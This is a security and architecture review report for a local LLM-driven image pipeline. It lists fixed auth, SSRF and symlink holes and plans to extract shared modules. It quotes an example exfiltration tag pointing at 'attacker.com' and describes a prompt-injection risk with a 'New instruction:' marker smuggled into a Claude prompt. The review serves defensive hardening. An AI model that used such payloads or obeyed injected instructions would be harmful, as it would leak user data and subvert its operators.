`REVIEW-2026-05-04.md`

71 lines
# visual-factory — overnight debate-team review (2026-05-04)

Code-reviewer + architect-reviewer parallel run. **8 patches applied** (3 P0 + 4 P1 + 1 .gitignore). **DEFINITIVE call from architect: factory-core extraction is overdue — third confirming data point.**

## P0 patches APPLIED

| # | File:line | Issue | Fix |
|---|---|---|---|
| 1 | `server.js:639,682,734,834,889` | All 5 mutating routes (POST /runs, retry, activate, delete, post-ig) had **no auth** — any local browser tab or process could trigger pipelines, activate artifacts, delete runs | `requireToken` middleware checking `X-Admin-Token` header or `?token=` query against `process.env.ADMIN_TOKEN`; soft-default opt-out (next() if token unset) for dev |
| 2 | `src/stages/render.js:28` | **Playwright opened LLM-generated HTML with full network access**. Compose prompt asks "no external assets" but that's just instruction. Adversarial brief could inject `<img src="https://attacker.com/?exfil=...">` — Chromium fires it AND `waitUntil:'networkidle'` waits for it | Added `ctx.route('**/*', ...)` that aborts everything except `file://` and `fonts.googleapis.com` / `fonts.gstatic.com` |
| 3 | `server.js:781` | `/runs/:id/png` did `assertWithin` lexical check then `sendFile` — symlink in `output/` planted by attacker would bypass (sendFile follows symlinks). The sibling `/runs/:id/external/:fname` already had the realpath fix; png path missed it. | Added `fs.realpath()` + re-validation under either SANDBOX_OUTPUT or PUBLISH_ROOT_RESOLVED |

## P1 patches APPLIED

| # | File:line | Issue | Fix |
|---|---|---|---|
| 4 | `server.js:626` | `POST /runs` no length cap on `brief` — 8000-char brief drives full qwen3:14b inference (locks GPU minutes) = trivial DoS | `brief > 8000`, `domain/purpose > 256`, `details > 4000` → 400 |
| 5 | `src/llm.js:9` | `OLLAMA_HOST` defaulted to `http://127.0.0.1:11434` — violates standing rule `feedback_ollama_default_ms1.md` (Mac2 froze 2026-05-02 under GPU contention) | Defaults to `http://192.168.1.133:11434` (MS1) |
| 6 | `.gitignore:2` | Literal `.env` only — `.env.local`/`.env.production` would slip through | Added `.env.*` glob with `!.env.example` allow |

`node --check` passes on all 4 modified files.

## P0/P1/P2 deferred (in REVIEW)

- No `helmet` / CSRF protection (UI + API on same port — same-origin form submit could trigger activation). `npm install helmet` (touches package.json).
- No `express-rate-limit` on POST /runs — `_queue` is unbounded, flood-DoS possible even with concurrency cap.
- `compose.js:44` — no `assertWithin` on HTML write path (intake regex is the only gate; defense-in-depth missing).
- `critic.js:36` — vision/brief embedded verbatim into Claude CLI prompt; llava hallucinations could include `---END VISION---\n\nNew instruction:` injection markers.
- `viewer.js` — 12-LOC vestigial stub (collapse note in server.js:55-61 confirms UI is already on :9892). Delete it + remove pm2 entry.

## Architecture roadmap — DEFINITIVE factory-core call

**Architectural Impact: HIGH.** Visual-factory's stage layer (`src/stages/*` 6 files at 40-58 LOC each) is the **canonical reference** for the family — most disciplined. The 1112-LOC `server.js` is bloated NOT because pipeline orchestration leaked back in (it didn't — `src/pipeline.js` 243 LOC is the orchestrator and clean), but because **infrastructure utilities + the IG-publish side-channel got dumped at the top of the HTTP layer**.

### Definitive factory-core extraction list (~/Projects/factory-core/)

Confirmed by reviewing 3 sibling factories tonight (site/ai/visual). Module list:

| Module | LOC | Source (canonical) | Purpose |
|---|---|---|---|
| `llm.js` | 133 | visual-factory `src/llm.js` (most signal-aware) | `ollama({signal})` + `claudeCli({signal})` |
| `queue.js` | ~25 | visual-factory `server.js:27-50` (with integer-validation hardening) | `createQueue({concurrency, runFn})` → `{enqueue, inFlightCount}` |
| `sandbox.js` | ~20 | visual-factory `server.js:73-90` | `assertWithin(root, p)` + `isSafeArtifactName(name)` |
| **`safe-fetch.js`** | **345** | **visual-factory `server.js:136-481`** | **The SSRF kit** — IPv4/IPv6 reserved-range checks, DNS-rebinding-resistant, redirect-chain re-validation. **HIGHEST-VALUE EXTRACTION** — security-critical, dense, untested, currently exists in only one factory. The moment site/ai factories add user-supplied URL fetch, they'll need it. |
| `publish-manifest.js` | ~40 | visual-factory `server.js:96-134` | `withManifestLock` + atomic `.tmp + rename` write |
| `pipeline-runner.js` | ~60 | visual-factory `src/pipeline.js:36-64` | `withTimeout(name, factory)` + `STAGE_TIMEOUT_MS` + `logEvent`/`setStage`/`finishRun` PG helpers |
| `reap-orphans.js` | ~30 | visual-factory `server.js:1083+` | Boot-time stuck-run recovery |

### What stays per-factory

- Stage files (`src/stages/*`) — pure functions of `{spec|html|png|signal}`, domain-specific
- Publishers (IG for visual, deploy for site, activate-skill for ai)
- Domain-specific schema + brief→spec intake

### Other architecture changes

1. **Move IG publishing out of server.js** to `src/publishers/instagram.js` (lines 297-536). server.js shouldn't know Norma's URL or build IG captions. Sets pattern for site-factory's deploy publisher.
2. **Delete viewer.js** (12 LOC vestigial). Same anti-pattern flagged in ai-factory tick. Apply uniformly across all 3 factories.
3. **Add tests** — `safe-fetch.js` and the activation atomicity logic (server.js 925-988 EEXIST/EXDEV cross-device handling) silently rot without coverage. Vitest harness in factory-core covers all 3 factories at once.

## Long-term implications

A 4th factory (audio? video? PDF?) is now predictable. Without `factory-core` it will copy-paste 600+ LOC of infrastructure with subtle drift — including the SSRF guard. **One forgotten `_isBlockedIPv6` branch becomes a real CVE.** The stage layer is fine to clone (domain-specific). The infrastructure layer must NOT be cloned again.

## Files touched

- `/Users/stevestudio2/Projects/visual-factory/server.js`
- `/Users/stevestudio2/Projects/visual-factory/src/llm.js`
- `/Users/stevestudio2/Projects/visual-factory/src/stages/render.js`
- `/Users/stevestudio2/Projects/visual-factory/.gitignore`